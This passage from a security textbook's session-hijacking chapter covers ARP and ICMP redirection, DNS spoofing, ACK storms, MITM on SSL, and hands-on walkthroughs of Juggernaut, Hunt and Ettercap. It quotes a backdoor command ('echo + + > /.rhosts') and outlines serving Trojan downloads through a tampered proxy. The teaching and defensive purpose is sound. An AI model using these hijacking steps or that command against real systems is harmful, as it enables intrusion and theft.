firewalls can do file caching, port redirection, extra authentication, and any number of other tricks that an attacker would like to perform. Route Table Modification Typically, an attacker would be able to put himself in such a position to block packets by modifying routing tables so that packets flow through a system he has control of (Layer 3 redirection), by changing bridge tables by playing games with spanning-tree frames (Layer 2 redirection), or by rerouting physical cables so that the frames must flow through the attacker’s system (Layer 1 redirection).The last technique implies physical access to your cable plant, so perhaps you’ve got much worse problems than TCP session hijacking in that instance. Most of the time, an attacker will try to change route tables remotely.There has been some research in the area of changing route tables on a mass scale by playing games with the Border Gateway Protocol (BGP) that most Internet www.syngress.com 412 Chapter 11 • Session Hijacking service providers (ISPs) use to exchange routes with each other. Insiders have reported that most of these ISPs have too much trust in place for other ISPs, which would enable them to do routing updates. BGP games were in large part the basis for the L0pht’s claim before the U.S. Congress a few years ago that they could take down the Internet in 30 minutes. A more locally workable attack might be to spoof Internet Control Message Protocol (ICMP) and redirect packets to fool some hosts into thinking that there is a better route via the attacker’s IP address. Many OSs accept ICMP redirects in their default configuration. I’ve had some Solaris SPARC 2.5.1 machines pick up new routes from ICMP redirects and then refuse to give them up without a reboot. (Some sort of kernel bug caused the machine to get into a weird state that refused to accept route update calls.) Unless you want to break the connection entirely (or you proxy it in some way), you’ll have to forward the packets back to the real router so they can reach their ultimate destination.When that happens, the real router is likely to send ICMP redirect packets to the original host, too, informing it that there is a better route. So, if you attempt that sort of attack, you’ll probably have to keep up the flow of ICMP redirect messages. If the attacker has managed to change route tables to get packets to flow through his system, some of the intermediate routers will be aware of the route change, either because of route tables changing or possibly because of an Address Resolution Protocol (ARP) table change.The end nodes would not normally be privy to this information if there are at least a few routers between the two nodes. Possibly the nodes could discover the change via a traceroute-style utility, unless the attacker has planned for that and programmed his “router” to account for it (by not sending the ICMP unreachables and not decrementing the Timeto- Live [TTL] counter on the IP packets). Actually, if an attacker has managed to get a system into the routing path between two hosts, his job has gotten considerably easier. As an example, suppose the attacker wants to hijack HTTP or File Transfer Protocol (FTP) connections in which the client is retrieving a Windows .exe executable file.Writing or gathering all the pieces of code necessary to emulate an IP stack and inject a new file into the middle of a hijacked TCP connection would be daunting. However, the attacker no longer needs to do that, as long as he doesn’t feel that he needs to go to extraordinary measures to evade detection. Modifying an open source UNIXlike operating system to not decrement the TTL and not send ICMP unreachables ought to go a long way toward evading traceroute detection. Once that’s done, it’s relatively easy to configure a caching proxy such as Squid to do transparent proxying. www.syngress.com Session Hijacking • Chapter 11 413 A page of information on how to set up Squid to do transparent proxying can be found at www.squid-cache.org/Doc/FAQ/FAQ-17.html.There are instructions for how to get it to work with Linux, the BSDs, Solaris, and even Cisco IOS. Squid will normally reveal itself with the way it modifies HTTP requests slightly, but that could be programmed away without too much difficulty. The final step would be to modify the Squid caching code to hand over a particular .exe instead of the original one requested. Once you can fool people into thinking that they’re downloading a legitimate executable straight from the vendor site while actually handing them yours, getting your Trojan horse program inside their defenses is a given.The user might not even be aware it’s happening or even be around, because many programs now automatically check for updates to themselves, and some of them will fall for this trick just as easily as a person would. www.syngress.com “Use the Force, Luke...” Standards are a hacker’s best friend. He’s got access to all the same information that you do; essentially everything your network does is right at his fingertips. If you’re not just as acquainted with the Request for Comments (RFCs) as he is, you’re in for a very long day. Take some time to pore over the information governing the use of the protocols on your network, especially the new standards. A good source for RFCs is www.rfc-editor.org. Lab time is essential for keeping current on the latest vulnerabilities and weaknesses, so make sure you’ve allotted ample time for lab research in your schedule. You’ll find plenty of information watering holes on the Internet, but some of the typical “hacker hangouts” include: Newsgroups such as alt.hackers.malicious, alt.2600, and alt.hacking Internet Relay Chat (IRC) rooms dedicated to discussions on hacking Also, astalavista.box.sk and securityfocus.com search engines have hundreds of links to the latest sites. These sites tend to move around due to the nature of content, so your bookmarks might need frequent updating. Notes from the Underground… 414 Chapter 11 • Session Hijacking ARP Attacks Another way to make sure that your attacking machine gets all the packets going through it is to modify the ARP tables on the victim machine(s). An ARP table controls the Media Access Control (MAC)-address-to-IP-address mapping on each machine. ARP is designed to be a dynamic protocol, so as new machines are added to a network or existing machines get new MAC addresses for whatever reason, the rest update automatically in a relatively short period of time.There is absolutely no authentication in this protocol. When a victim machine broadcasts for the MAC address that belongs to a particular IP address (perhaps the victim’s default gateway), all an attacker has to do is answer before the real machine being requested does. It’s a classic race condition. You can stack the odds in your favor by giving the real gateway a lot of extra work to do during that time so that it can’t answer as fast. As long as you properly forward traffic from the victim (or fake a reasonable facsimile of the servers the victim machine is trying to talk to), the victim might not notice that anything is different. Certainly, there are noticeable differences, if anyone cares to pay attention. For example, after such an attack, each packet crosses the same local area network (LAN) segment twice, which increases traffic somewhat and is suspicious in itself. Furthermore, the biggest giveaway is that the ARP cache on the victim machine is changed.That’s pretty easy to watch for, if someone has prepared for that case ahead of time. One tool for monitoring such changes is arpwatch, which can be found at: ftp://ee.lbl.gov/arpwatch.tar.gz. A tool for performing an ARP attack is (for lack of a formal name) grat_arp, by Mudge (and, he claims, some unidentified friends). One place it can be found is attached to the following vuln-dev mailing list post: www.securityfocus.com/ archive/82/28493.You can find a good article on the subject (with an embedded send_arp.c tool) in the following Bugtraq post: www.securityfocus.com/archive/ 1/7665. More to the point is arpspoof, mentioned in Chapter 10. It’s part of the dsniff set of tools available at www.monkey.org/~dugsong/dsniff.Arpspoof automates much of the process. Finally, some of this functionality is already built into the Hunt tool, which we cover in its own section later in this chapter. Note that ARP tricks are good not only for getting traffic to flow through your machine, but also just so you can monitor it at all when you’re in a switched environment. Normally, when there is a switch (or any kind of Layer 2 bridge) between the victim and attacking machine, the attacking machine will not get to www.syngress.com Session Hijacking • Chapter 11 415 monitor the victim’s traffic. ARP games are one way to handle this problem. Refer to Chapter 10 for details. UDP Hijacking Now that we’ve seen what TCP session hijacking looks like, the rest is easy.We have problems with TCP due to all the reliability features built into it. If it weren’t for the sequence numbers,ACK mechanism, and other things that TCP uses to ensure that packets get where they need to go, our job would be a lot easier.Well, guess what? The User Datagram Protocol (UDP) doesn’t have those features; at least, it doesn’t as it is. However, a protocol designer can implement the equivalents to all those features on top of UDP.Very few attempt even a small subset of the TCP features.The Network File System (NFS) has something akin to sequence numbers and a retransmit feature, but it’s vastly simpler than TCP. So, most of the time, “hijacking” UDP comes down to a race. Can a hacker get an appropriate response packet in before the legitimate server or client can? In most cases, the answer is probably yes, as long as the hacker can script the attack.The attacker needs a tool that watches for the request, then produces the response he wants to fake as quickly as possible, and then drops that on the wire. For example, the Domain Name System (DNS) would be a popular protocol to hijack. Assume that the hacker’s attacking machine is near the client and the DNS server is located somewhere farther away on the network.Then: The hacker wants to pretend to be some Web server, say SecurityFocus. The attacker programs his attacking machine to watch for a request for that name and store a copy of the packet. The hacker extracts the request ID and then uses it to finish off a response packet that was prepared ahead of time that points to his IP address. The client then contacts the hacker’s machine instead of SecurityFocus. The client sees a message to the effect of “SecurityFocus has been 0wned.” Of course, the server wasn’t actually owned in this case, but the user doesn’t know that, unless he thinks to check the IP address that securityfocus.com had resolved to. Alternatively, perhaps the hacker made his Web server look exactly www.syngress.com 416 Chapter 11 • Session Hijacking like securityfocus.com’s, but all the downloadable security programs have been turned into Trojan horses. Another piece of the dsniff package, dnsspoof, helps accomplish this kind of attack. Examining the Available Tools More than a few tools that make session hijacking much easier are available today; in some cases they can automate the process completely.These types of tools are essential for any security toolbox.We’ve chosen a few of the more functional and popular ones to discuss here. Juggernaut Juggernaut was written by route, editor of Phrack magazine. He wrote about it in a Phrack article, which can be found at http://staff.washington.edu/dittrich/ talks/qsm-sec/P50-06.txt. Route gave a demonstration of version 1.0 during a presentation at the first Black Hat Briefings security conference. In the next issue of Phrack, he released a patch file that brought the version up to 1.2.This file can be found here: http://staff.washington.edu/dittrich...ec/P51-07.txt. Be warned:The patch as it exists has been a little bit mangled. If you try to apply the patch, you’ll see exactly where it has been altered. I got around this glitch by deleting the offending patch section and applying the few lines of patch by hand. Also be careful when you download the files; they’re not HTML, they’re text. So, if you cut and paste from the Web site into Notepad or something, you might end up missing some characters that the Web browser has tried to interpret. So do a Save As instead, or make things easier on yourself and get the whole thing here: packetstormsecurity.org/new-exploits/1.2.tar.gz. During testing, Juggernaut was not “seeing” connections until the GREED option was turned on in the Makefile. See the Install file for directions. At the time, Juggernaut was a pioneering work, and no similar tools had been demonstrated. Even today, only a small number of tools attempt the sessionhijacking function that Juggernaut offers. Juggernaut has two operating modes.The first is to act as a sniffer of sorts, triggering on a particular bit of data (the second mode is Normal, which we’ll get to later). Here’s the online help, which shows the commands: [root@rh Juggernaut]# ./juggernaut -h www.syngress.com Session Hijacking • Chapter 11 417 Usage: ./juggernaut [-h] [-s TOKEN [-e xx] ] [-v] [-t xx] -h terse help -H expanded help for those 'specially challanged' people... -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing -e enticement factor (defaults to 16) -v decrease verbosity (don't do this) -V version information -t xx network read timeout in seconds (defaults to 10) Invoked without arguments, Juggernaut starts in `normal` mode. Displayed is the terse help.The expanded help has much more detailed explanations as well as some examples. As you can see from the help shown here, this program has personality. If you start it with the –s option, it acts as a logging sniffer. For example, you could tell it to look for a “token” of assword (short for both password and Password) and it would log packets following that word. How many packets it grabs is the “enticement factor,” so it will default to logging the next 16 packets, or you can set it higher or lower. Unless you modify the filename in the source code, it will log packet contents into a file named juggernaut. log.snif in the directory from which the program was invoked. Starting the program with no command-line options puts it into Normal mode, as shown here: Juggernaut +------------------------------+ ?) Help 0) Program information 1) Connection database 2) Spy on a connection 3) Reset a connection 4) Automated connection reset daemon 5) Simplex connection hijack 6) Interactive connection hijack 7) Packet assembly module www.syngress.com 418 Chapter 11 • Session Hijacking 8) Souper sekret option number eight 9) Step Down (This is following a splash screen, and no, Option 8 doesn’t do anything.) Option 1,“Connection database,” shows a list of TCP connections that the program has “seen.”You can see an example of a Telnet connection: Current Connection Database: ------------------------------------------------- ref # source target (1) 10.0.0.5 [2211] --> 10.0.0.10 [23] ------------------------------------------------- Database is 0.20% to capacity. [c,q] > The q option here, as in most places in the program, returns you to the ninechoice main menu.The c option offers to clear the connection database. In order for a number of the later functions to work, there must be something in the connection database. So don’t bother with the sniffing or hijacking functions until this part works for you. Option 2 is a sniffing function; it lets you spy on connections that it has listed in the connection database.The following example is a capture from the same Telnet connection we had in the database before: Current Connection Database: ------------------------------------------------- ref # source target (1) 10.0.0.5 [2211] --> 10.0.0.10 [23] ------------------------------------------------- Choose a connection [q] >1 Do you wish to log to a file as well? [y/N] >y Spying on connection, hit `ctrl-c` when done. www.syngress.com Session Hijacking • Chapter 11 419 Spying on connection: 10.0.0.5 [2211] --> 10.0.0.10 [23]C Disk Usage (Jul 3 06:01): Mail – 1705 kilobytes File Repository - 162 kilobytes Fax Repository - 1 kilobytes 109 Message(s) In New Mail [TECNET:Main menu]? As you can see, we also get the option to save the captured information to a log. Option 5 is “Simplex connection hijack.”This option simply hijacks the connection and sends a command without viewing the results on the attacker’s screen. An example is shown here: Current Connection Database: ------------------------------------------------- ref # source target (1) 10.0.0.5 [2211] --> 10.0.0.10 [23] ------------------------------------------------- Choose a connection [q] >1 Enter the command string you wish executed [q] > Finally, we look at Option 6, “Interactive connection hijack.”This is basically the same as Option 5, but we also get to see the output (just as in Option 2). Most of the time, a hacker will probably want to use this option when hijacking so she can see what’s going on when she’s about to break in. For example, if a hacker is working blind, she wouldn’t want to issues the “echo + + > /.rhosts” command if the user was in the middle of using vi rather than at a shell prompt. On the other hand, if the user is in the middle of doing something that is causing a lot of output, the hacker might prefer the blind hijack so that her screen isn’t disrupted, too. Here’s what Option 6 looks like when used: Current Connection Database: ------------------------------------------------- www.syngress.com 420 Chapter 11 • Session Hijacking ref # source target (1) 10.0.0.5 [2211] --> 10.0.0.10 [23] ------------------------------------------------- Choose a connection [q] >1 Spying on connection, hit `ctrl-c` when you want to hijack. NOTE: This will cause an ACK storm and desynch the client until the connection is RST. Spying on connection: 10.0.0.5 [2211] --> 10.0.0.10 [23] Route is no longer maintaining or enhancing Juggernaut, and it does not appear that anyone else is either, at least not publicly. He did write an enhanced version called Juggernaut++, and he showed screen shots of it at one point, but he never released it. Juggernaut is several years old now.That’s a long time in the world of security tools, especially for a tool that isn’t being actively developed. It has some limitations, such as not being able to do connection resynchronization and not being able to act on connections that belong to the host it’s running on. It will work on arbitrary TCP ports, though. (Other tools are limited to Telnet or similar protocols.) Juggernaut is no longer the best tool for the job, but it’s still very enlightening to read the research that route did to produce such a tool. (Read the original Phrack article for the story.) Hunt Hunt is a tool created by Pavel Krauz.The current version at the time of this writing is 1.5.The program does not appear to be under active development; the 1.5 version was released on May 30, 2000. It can be found at http://lin.fsid.cvut.cz/~kra/index.html#HUNT. Hunt is a more ambitious project than Juggernaut—at least, it has evolved into such a project. According to the Readme file that comes with the distribution, one of the reasons Krauz developed this program was to gain were some features he wanted that weren’t available in Juggernaut. Like Juggernaut, Hunt has sniffing modes and session hijack modes. Unlike Juggernaut, Hunt adds some ARP tools to perform ARP spoofing in order to get www.syngress.com Session Hijacking • Chapter 11 421 victim hosts to go through an attacking machine, to eliminate the ACK storm problems typically associated with a TCP session hijack. Here’s what Hunt looks like when it is launched: /* * hunt 1.5 * multipurpose connection intruder / sniffer for Linux * (c) 1998-2000 by kra */ starting hunt --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit -> The -> is Hunt’s prompt, and it is awaiting one of the letters listed as a command. Hunt keeps track of Telnet and rlogin connections by default, but the code is written in such a way that it would be very easy to add other types. In the file hunt.c, in the initialization code for the entry function, is this line: add_telnet_rlogin_policy(); This function is located in the addpolicy.c file, and here’s the function in question: void add_telnet_rlogin_policy(void) { struct add_policy_info *api; api = malloc(sizeof(struct add_policy_info)); assert(api); memset(api, 0, sizeof(sizeof(struct add_policy_info))); api->src_addr = 0; www.syngress.com 422 Chapter 11 • Session Hijacking api->src_mask = 0; api->dst_addr = 0; api->dst_mask = 0; api->src_ports[0] = 0; api->dst_ports[0] = htons(23); api->dst_ports[1] = htons(513); api->dst_ports[2] = 0; list_push(&l_add_policy, api); }; As you can see, it would be pretty trivial to add new port numbers and simply recompile. When Hunt latches onto a Telnet or rlogin connection, it displays it in the list connections menu, as shown here: -> l 0) 10.0.1.1 [3014] --> 130.212.2.65 [23] --- Main Menu --- rcvpkt 2664, free/alloc 63/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit The first two lines are the ones we’re interested in; Hunt often redisplays the menu immediately following a command.We can see here that Hunt has located a Telnet connection. Here’s the process to “watch” (sniff ) a connection: -> w 0) 10.0.1.1 [3014] --> 130.212.2.65 [23] choose conn> 0 dump [s]rc/[d]st/[b]oth [b]> [cr] print src/dst same characters y/n [n]> [cr] CTRL-C to break www.syngress.com Session Hijacking • Chapter 11 423 llss <FF><FA>!<FF><F0><FF><FC><FF><FA>"FF><F0><FF><FA>"b <FF><F0><FF><FE><FF><FA>"<FF><F0><FF><FA>"<82><E2> <82> <82> <82><82><82><82><82><FF><F0><FF><FA>!<FF><F0> Apps/ Library/ Mailboxes/ Makefile bookmarks.html dead.letter mail/ proj1.c public_html/ <FF><FA>!<FF><F0><FF><FB><FF><FA>"<FF><F0><FF><FA>"<FF><FF>b<FF><FF> <FF><FF> <FF><FF> <FF><FF><FF><FF><FF><FF><FF><FF><FF><FF><FF><F0><FF><FA>!<FF><F0>futon> <FF><FD> <FF><FA>"<FF><F0><FF><FA>"<82><FF><FF><E2><FF><FF> <82><FF><FF> <82><FF><FF> <82><FF><FF><82><FF><FF><82><FF><FF><82><FF><FF><82><FF><FF><FF><F0> For example, I had Hunt monitor a Telnet connection I had opened, and then I went to my Telnet window and issued the ls command.You can see the ls command toward the top (shown as llss) followed by some hex output, and then the files in my directory, and then more hex.The llss is the result of Hunt displaying what I typed as well as displaying the server’s response (echoing my characters back to me). So, it looks like the “print src/dst same characters” choice doesn’t work quite yet.The hex characters are the terminal formatting characters that normally take place behind the scenes during a Telnet session. Of course, we’re not here to use Hunt as a sniffer; that feature is just a convenience. We want to understand how Hunt is used to hijack connections! Here’s a demonstration: -> s 0) 10.0.1.1 [3014] --> 130.212.2.65 [23] choose conn> 0 www.syngress.com 424 Chapter 11 • Session Hijacking dump connection y/n [n]> [cr] Enter the command string you wish executed or [cr]> cd Apps <FF><FA>!<FF><F0>cd Apps futon> Meanwhile, this is what displays in my Telnet window: futon> futon> cd Apps futon> The output displays on the screen just as though I had typed it into the Telnet window. Meanwhile, back at the Hunt program: Enter the command string you wish executed or [cr]> [cr] [r]eset connection/[s]ynchronize/[n]one [r]> s user have to type 8 chars and print 0 chars to synchronize connection CTRL-C to break When I press Enter to quit sending characters as the client, I’m presented with the choices to try and resynchronize the client and servers, reset the connection, or just leave it desynched.Trying the synchronize option was not successful in this instance; it sat waiting. Entering characters in the Telnet window didn’t seem to help the resynchronization process. Other attempts at resynchronization were successful.The factors that seem to play into it are time, length of the command(s) given as hijacker, how reliable (packet loss) the network is at the moment, and, of course,TCP implementation. In most cases, if you’re trying to cover your tracks, you’ll simply want to issue your command as soon as possible, and then immediately reset the connection. This is in hopes that the user in front of the legitimate client (if they’re even there at the time) will simply think it’s another mysterious reset, and just open a new window without being suspicious in the slightest. Hunt is not without its faults. In all the interact/display screens I encountered, where it says press Ctrl-C to break, I found that after I pressed Ctrl-C, I still had to wait for the monitored machine to transmit something before Hunt would pay attention to my key-press. (For example, when I was sniffing a Telnet connection, I pressed Ctrl-C and nothing happened. As soon as I switched to the Telnet window and pressed a key, Hunt then responded.) Presumably, Hunt’s monitoring loop is such that it doesn’t check for keystrokes at all times; it probably blocks www.syngress.com Session Hijacking • Chapter 11 425 waiting for input from the network, and only after that has cleared does it go back through the loop and check for input from the Hunt operator. Hunt’s user interface is also a bit plain and terse. However, that’s one of the easier things to fix in an application of this sort.The network stuff is the more difficult, and therefore probably more interesting, part of this problem.The interface is usable, though, so it’s not all bad. Possibly if one of the readers of this book is inclined and can program, he or she might contact the Hunt author and see if he would like help with its interface development. Ettercap Ettercap is a multipurpose program used primarily for sniffing, capturing, and logging traffic on switched LANs. It supports both passive and active dissections of various protocols. At the time of this writing, Ettercap also includes support for Secure Shell version 1 (SSH1) and Secure Sockets Layer (SSL) connections. Ettercap is available from http://ettercap.sourceforge.net and runs on the Mac OS X, Linux, and BSD OSs. Ettercap uses four modes: IP Where the packets are filtered based on source and destination. MAC Packet filtering based on MAC address. ARP Where ARP poisoning is used to sniff/hijack switched LAN connections (in full-duplex mode). PublicARP Where ARP poisoning is used (in half-duplex mode) to allow sniffing of one host to any other host. Let’s look into the use of Ettercap a little further.The following scenarios use a simple switched network, using Network Address Translation (NAT) behind RFC1918 IP addresses. It’s a simple home network, one that many small offices/home offices (SOHOs) use today, largely due to its low cost and the rampant availability of high-speed cable-modem or digital subscriber line (DSL).A typical implementation looks something like the one shown in Figure 11.1. In this particular case, 192.168.1.104 is the session hijacker. Fire up Ettercap and you’re greeted with a screen that shows you all the hosts located on the same-switched segment (see Figure 11.2). Use the Tab and Arrow keys to select the two hosts you want to play with.You should see the source and destination IPs that you’ve selected noted in the top left of the program. www.syngress.com 426 Chapter 11 • Session Hijacking www.syngress.com Figure 11.1 A Typical SOHO Network Switched network Internet Switch 192.168.1.1 Cable/DSL E-mail server Proxy server 192.168.1.101 192.168.1.100 MITM attacker 192.168.1.104 Wireless Access Point 192.168.1.250 Public IP modem Figure 11.2 Available Hosts on the Switched Segment Session Hijacking • Chapter 11 427 Press a to poison the ARP cache of the selected hosts, as shown in Figure 11.3. You’ll then be presented with a screen listing all the connections between the two hosts you’ve selected (see Figure 11.4). In this case, we’ve selected the switch (A Linksys BEFSR81) and a network client running Windows 2000 Advanced Server.We’ve used the OS Fingerprinting option to successfully determine 192.168.1.100’s operating system. Notice the Simple Network Management Protocol (SNMP) traps being generated by the switch (192.168.1.1) to the Windows 2000 server (192.168.1.100).This is normally a telltale sign that this host (192.168.1.100) is being used to manage the switch. Pressing h anytime as the program runs brings up a short help screen.The first help screen is from the initial page on which all the segment hosts are listed (see Figure 11.5).The second help screen appears after a particular host is selected from that screen (see Figure 11.6). www.syngress.com Figure 11.3 Poisoning the ARP Cache Figure 11.4 Available Connections Between Selected Hosts 428 Chapter 11 • Session Hijacking Remember what we said before, about UDP session hijacking? It’s much easier to hijack a session over UDP than it is over TCP due to lack of error correction and packet delivery “guarantees.” In this particular case, a hacker could probably get a lot of “bang for the buck” simply by hijacking the SNMP connection. Why is that, you ask? The simple answer is that if the hacker has access to the switch’s configuration, he can do myriad things on or to this network. In this case, the switch is also being used as a gateway to the Internet, so the possibilities for potential mischief boggle the mind. But let’s move on to something a little more practical. www.syngress.com Figure 11.5 Initial Help Screen Options Figure 11.6 Selected Connection Options Session Hijacking • Chapter 11 429 For this scenario, the hacker has FTP running on the server, but the originating connections are restricted to the host IP of 192.168.1.103.When Ettercap is run, the hacker sees port 21 on the server come up active and then go right to a “silent” state.The hacker selects port 21 and establishes a connection between the FTP server and the client so he can capture, modify, or inject data at will (see Figure 11.7). Here we see a whole slew of Microsoft Network traffic from a network client to the server. Ports 137 and 139 are Microsoft NetBIOS name and session services. Port 445 is used for Microsoft directory services and provides much of the same functionality for Server Message Block (SMB) over TCP/IP on Windows 2000 that ports 138 and 139 did under previous versions of Windows OSs.A recent article at www.newsbytes.com/news/01/169408.html illustrates some of the security problems this port can create in a typical networked environment. Interestingly enough, even after you disable NetBIOS over TCP/IP under the network card’s configuration, this port will still show up. Let’s say that the hacker selects port 445, which at this time is indicating a status of “silent.”This is no doubt a mapped drive connection from 192.161.1.103 to the server.When the hacker gets some SMB traffic from a directory listing or other type of browse here, things will get pretty noisy. Figure 11.8 shows what part of an active connection looks like (using text display) from the middle when a client connection is made to a server share. If the hacker wants, he can also dump this information to a log file for later use. www.syngress.com Figure 11.7 SMB Connection Selection 430 Chapter 11 • Session Hijacking SMBRelay Let’s take the previous example a bit further.What would be the easiest way to hijack an SMB session, short of injecting forged packets? Why, SMBRelay, of course. SMBRelay is a program written by SirDystic of cDc that allows for SMB hijacking by forcing the client to be disconnected after the user has authenticated; the hacker takes over the existing SMB session using the same credentials.The only way to guard against this action is by enabling SMB signing on both ends.This will likely cause a 10–15 percent performance drop and effectively breaks most backward- compatible client connections, so it must be used with caution. For more details on which registry changes need to be made to support SMB signing, check out http://support.microsoft.com/support/kb/articles/ Q161/3/72.asp. Storm Watchers As we’ll see in detail, ARP games and TCP session hijacking can be very noisy. In addition, most attacks that can only inject and can’t stop one of the original communicators from sending will be spottable as well. For example, in our DNS scenario, the fact that two responses are sent and that they don’t match is a huge clue that something is wrong. Let’s see what is happening behind the scenes. Retransmissions and duplicate packets are not uncommon on a normal network, but in most cases, the packet contents should be the same. For our ARP and DNS examples, it would be possible to build a tool that watched for responses, calculated a hash of the packet, and then stored that hash for a period www.syngress.com Figure 11.8 SMB Connection Activity Session Hijacking • Chapter 11 431 of time. If another packet comes in with appropriately matching characteristics, but the hash doesn’t match, you might have a problem. (You have to take care to throw out the pieces of the packet you don’t want to consider suspicious, such as, perhaps, the TTL, before you calculate the hash.) Basically, this is the IDS approach, with all its benefits and problems. ACK Storms We looked at a brief Telnet session-hijacking example earlier in the chapter. In that example, the goal was to execute a command on the server. For our example, I deliberately picked a short command from which we didn’t really need the output.There’s a reason for this:TCP can be pretty messy to hijack.Were a hacker to try to take over both sides of the conversation or hold a protracted hijacked TCP conversation, she’d run into some difficulties. Let’s examine why. Recall that TCP is a “reliable” transport. Since TCP sits atop an unreliable layer (IP) that will sometimes drop packets, mangle them, or deliver them out of order,TCP has to take responsibility for taking care of those problems. Essentially, TCP does this by retransmitting packets as necessary.The TCP software on each host keeps a copy of all the data it has sent so far, until it receives an ACK packet from the other end. At that point, it drops the data that has been acknowledged. If it has data in its sent queue that has not been acknowledged after a certain amount of time, it sends it again, assuming it got lost in transit. When a hacker tries to jump into the middle of a TCP conversation and pretend to be one of the communicating parties, she’s going to be racing one of the hosts to get a packet with the right sequence numbers onto the wire before the legitimate host does. (For this example, assume that the hacker can’t block the packets coming from the legitimate hosts; we’ve discussed cases where they can.) At some point during the race, the hacker will get one of the packets in before the real host.When that happens, she’s hijacked the connection.The problem is, the host that she’s pretending to be and just beat in the race is still going to send its packet. The host that just received the hacker’s packet is going to mark it as received, ACK it when the time comes, and generally move on to later parts of the data stream.When the host receives a second packet with matching numbers, it will simply assume that it has received a duplicate packet. Duplicate packets happen all the time, and the TCP software on hosts is written to ignore any packets that appear to be for data that they’ve already received.They don’t care that the information doesn’t seem to match exactly, as would be the case with a true duplicate. www.syngress.com 432 Chapter 11 • Session Hijacking During this process, at some point the recipient of the faked packet is going to send an ACK for it to the other host that it was originally talking to. Depending on where in the sending phase is the host the hacker is pretending to be, this ACK might or might not make sense. If the host hasn’t sent the packet yet when it gets the ACK, as far as it’s concerned it shouldn’t have received it yet. Most hosts in those circumstances simply ignore the early ACK, send the pending packet anyway, and wait for another ACK to arrive. When the server gets what it thinks is another copy of the packet, it sends another ACK, which is intended to mean that the server had already received that data and had moved on.When an out-of-order ACK is received, the proper response is to reply with an ACK packet with the expected sequence number. So, when the server sends the real client an ACK that the client didn’t expect (i.e., the reply to the “illegal”ACK is itself illegal), the client does the same; it sends an ACK with the expected sequence number.The result is an ACK storm. The resulting ACK storm continues until one of a few conditions is met. First, if any of the ACKs get lost or corrupted along the way, the storm will stop. On a fast, reliable LAN, packets don’t often get dropped. In such an environment, the ACK storm may continue for some time, unless it gets bad enough to cause the needed packet loss to stop itself. Second, once the attacker has sent the commands she needed to send, she can reset the connection.An RST packet sent from the attacker to the client and/or server causes them to stop sending the ACKs and, in fact, closes the connection entirely. From the point of view of the user sitting in front of the client, he’ll see some sort of “connection aborted” message. For most people, this message is common enough that they wouldn’t think twice about it and would simply open a new window. Some Telnet clients even erase the screen the moment a connection resets or after the dialog box saying that the connection has been reset is acknowledged (in other words, OK has been clicked). Such behavior makes it even easier for the attacker to avoid being spotted, since usually the only hint the legitimate user has that something is wrong is any suspicious output on the screen. Third, in some cases it’s possible to resynchronize the client and the server so that the client can resume its normal activity.This step is problematic, though, and dependent on a couple of factors.The basic idea is that the original client machine needs to catch up to where the attacker and server are in the conversation. For example, if the original client were 100 bytes into a conversation, and someone breaks in, hijacks the connection, and sends 10 characters to the server as the client, the server then thinks the client is at 110.The attack program state www.syngress.com Session Hijacking • Chapter 11 433 is also at 110 (in case the attacker wants to send more, it keeps track), but the original client is still thinking it’s at 100.When the hacker wants to resynchronize the two, she must somehow get the client to catch up. She can’t move the server back to 100 bytes; she can only move forward. So, as the client sends data, the hacker spoofs ACK replies for it from the server.The client moves its internal counter up as it goes until it reaches 110, and then the hacker simply gets out of the way. At that point, the server and client are back in sync, and the original client can communicate again. Of course, the intricacies of how a particular TCP implementation will react vary from OS to OS. During my testing of Hunt (see the section on Hunt previously in the chapter), I discovered that a particular combination of client and server OS would not desynchronize.When connecting to an ancient NextOS machine (yes, those black cubes that Steve Jobs made after leaving Apple) from a Red Hat 6.2 client using Telnet, Hunt could inject commands, but the client would be able to as well.There was no need to resynch when done, because the client never was desynchronized in the first place.The same test using another Red Hat 6.2 system as the Telnet server produced the expected result:The original client could see the commands being typed but could not issue commands. The ACK storm problem seems to follow the synchronization problem as well, at least in this case.There was no ACK storm on the NextOS/Linux combo, but there was with Linux/Linux. Playing MITM for Encrypted Communications As you saw in Chapter 10, widely deployed encryption is one easy way to make many network hijacking attacks much more difficult. Solutions are available for all the International Organization for Standardization (ISO) layers, from encrypting network interface cards (NICs) at Layer 2 all the way up through numerous Application layer encryption technologies. Most of your typical target protocols for session hijacking can be replaced with SSH2, which can replace the functionality of Telnet, FTP, rlogin, and rcp. In addition, you can tunnel other protocols such as HTTP or X Windows over an SSH2 connection. SSH1 tackles these problems to some degree as well, but this section, along with Chapter 13, explains why SSH2 is better. SSL is another good choice. It’s obviously available for Web servers where it is most widely deployed, but a lot of folks aren’t aware that it can also be used with www.syngress.com 434 Chapter 11 • Session Hijacking the Post Office Protocol (POP), Simple Mail Transfer Protocol (SMTP), Internet Message Access Protocol (IMAP), and others. If you decide to go the encryption route to protect yourself, make sure that you favor standards-based, open, well-established algorithms and protocols.Things such as SSH2, SSL, and Internet Protocol Security (IPSec) might not be perfect, but they’ve had a lot more review than most products, and chances are that they contain fewer holes. As the remaining flaws are found, they will be published widely, so you’ll know when you need to patch. As a counter example, a number of remote-control type programs have proved to have either bad cryptography or bad implementations of good cryptography. Using cryptography could help you breathe just a little bit easier, but don’t relax completely just yet. Man-in-the-middle (MITM) attacks have come a long way since the first printing of this chapter—just when you thought it was safe to go back into the water. Man-in-the-Middle Attacks MITM attacks are probably the most productive types of attacks used today in conjunction with encrypted protocol hijacking and connection types such as SSH1 and SSL. Let’s say, for example, that a typical user attempts a connection to a site that is SSL enabled. A key exchange occurs with the SSL server and the server’s certifi- cate is compared to the certificates stored in the Web browser’s trusted root certi- fication authority’s store. If the certificate information is valid and the certifying authority is present in the browser’s trusted store with no restrictions, no warning is generated on the client end by the browser, and a session key is offered for encrypting the communication between the SSL-enabled site and the client system. Suffice it to say, when an MITM attack is started, the client does not connect to the SSL site that he thinks he does.The hijacker is instead offering bogus credentials and replaying the client’s information to the SSL site.The hijacker is making the connection to the SSL server on behalf of the victim and replaying all the information sent both ways so that he can essentially pick and chose what, if any, traffic to modify for his potential gain. Many people have the unfortunate tendency to ignore generated warnings such as those shown in Figures 11.9 and 11.10.These are actual screens from an MITM attack scenario using Ettercap (which we talked about briefly before). If you clicked the button View Certificate under the security alert in the first www.syngress.com Session Hijacking • Chapter 11 435 screen, you 